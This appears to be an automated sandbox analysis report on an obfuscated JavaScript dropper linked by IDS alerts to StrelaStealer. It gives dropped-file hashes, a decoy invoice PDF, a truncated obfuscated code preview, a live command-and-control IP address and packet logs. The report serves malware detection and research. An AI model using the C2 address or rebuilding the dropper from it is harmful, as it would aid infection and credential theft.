Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7bdbba79-3f79-449d-b797-f6fdee364cb8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\dfcb29b4-8ce7-48c6-8e10-bf9edf413510.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15549), with CRLF line terminators
Entropy (8bit):	4.89087696449803
TrID:
File name:	5749110051971019035.js
File size:	18'831 bytes
MD5:	277611142a26e909d2c85d40cd34918e
SHA1:	7c387523e9554667b4763991c25a2f14c86f75b0
SHA256:	47c5eb1293e88855eea2c7b4811f85d45e44609a09b3bd50bcd64254b43dff68
SHA512:	de6cdeb1c7554e5d4ad5df5d56006b9d5a74367e3ff5b8d562b42865fed4bc2d653946395a45b204b4065a5afe0e3f88ecb229a5d4f69e6223a8cc27234852ac
SSDEEP:	384:FnuANNLT3XeQjKjwbmFgF3y5a6fTjVF+Afie9A/2B50/tn6xChCs8Ii7eat:FnuANFT3XeLwg9Q61FRt
TLSH:	698273C22884876B4CEC02D1CBA95CE9B67C190D0573985325C907D45FB2F65E6FB2BE
File Content Preview:	function hwemeg(){jdyryd=[1031,3079,5127,4103,2055,3072];var taoihmv=this[symyzk+hgcqcnah+vmdjx+ekdywhoo+qfwnisu+aguhxuwfh+dlnequbuu+gzkix](this[omymk+byawq+mkvbuba+vmdjx+qbobsn+symyzk+gzkix][sahjud+vmdjx+qfwnisu+hgcqcnah+gzkix+qfwnisu+fpfuul+uuhzh+mpwvsd

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:25:10.013383+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49711	193.143.1.205	80	TCP
2025-01-11T02:25:10.013383+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.10	49711	193.143.1.205	80	TCP
2025-01-11T02:25:12.573968+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49727	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:25:09.152966022 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:09.158485889 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:09.158560038 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:09.161362886 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:09.166361094 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.013322115 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.013349056 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.013360023 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.013382912 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.013546944 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.013557911 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.013567924 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.013586044 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.013607025 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.013659000 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.013669014 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.013679981 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.013714075 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.013739109 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.013768911 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.018120050 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.058331013 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.073663950 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.073679924 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.073692083 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.073863983 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.141963959 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.141983986 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.141999006 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.142009974 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.142021894 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.142065048 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.142393112 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.142440081 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.142442942 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.142456055 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.142486095 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.142551899 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.142563105 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.142592907 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.143256903 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.143280029 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.143310070 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.143733978 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.143757105 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.143768072 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.143788099 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.143850088 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.143861055 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.143881083 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.144370079 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.144402981 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.144412041 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.162437916 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.162456989 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.162467003 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.162491083 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.162524939 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.162576914 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.246511936 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.246529102 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.246541023 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.246623993 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.270400047 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.270411968 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.270466089 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.270468950 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.270512104 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.270513058 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.270523071 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.270555973 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.270827055 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.270869017 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.270879984 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.270904064 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.271028042 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.271039009 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.271049023 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.271064043 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.271079063 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.271656036 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.271699905 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.271709919 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.271728039 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.272006989 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.272026062 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.272037029 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.272041082 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.272072077 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.272104025 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.272501945 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.272521019 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.272531986 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.272536993 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.272566080 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.272609949 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.272689104 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.272700071 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.272727966 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.273418903 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.273430109 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.273441076 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.273457050 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.273488998 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.273525953 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.273536921 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.273547888 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.273566961 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.274334908 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.274346113 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.274363995 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.274374962 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.274377108 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.274389029 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.274394035 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.274399996 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.274430990 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.275091887 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.275116920 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.275132895 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.275132895 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.275166035 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.275202990 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.275213957 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.275257111 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.275270939 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.275947094 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.275962114 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.275983095 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.323995113 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.340344906 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.340374947 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.340521097 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.376192093 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.376312017 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.376323938 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.376336098 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.376346111 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.376357079 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.376382113 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.376421928 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.399095058 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.399113894 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.399131060 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.399142027 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.399152040 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.399221897 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.399270058 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.399281025 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.399285078 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.399292946 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.399306059 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.399338007 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.399817944 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.399975061 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.400010109 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.400160074 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.400583029 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.400616884 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.400772095 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.400928974 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.400965929 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.401575089 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.401587009 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.401619911 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.401701927 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.401712894 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.401741982 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.402904034 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403052092 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403058052 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403090954 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.403599024 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403614998 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403626919 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403635979 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.403639078 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403650999 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403661013 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403666973 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403671026 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403681993 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403685093 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.403692007 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403702974 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403712034 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.403712988 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403718948 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403728962 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403739929 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403762102 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.403769970 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403781891 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403785944 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.403793097 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403803110 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403809071 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.403814077 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403827906 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403837919 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403846979 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.403847933 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403863907 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403867960 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403878927 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.403878927 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.403898954 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.403902054 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.404103041 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.404120922 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.404131889 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.404141903 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.404148102 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.404153109 CET	80	49711	193.143.1.205	192.168.2.10
Jan 11, 2025 02:25:10.404171944 CET	49711	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:25:10.404200077 CET	49711	80	192.168.2.10	193.143.1.205
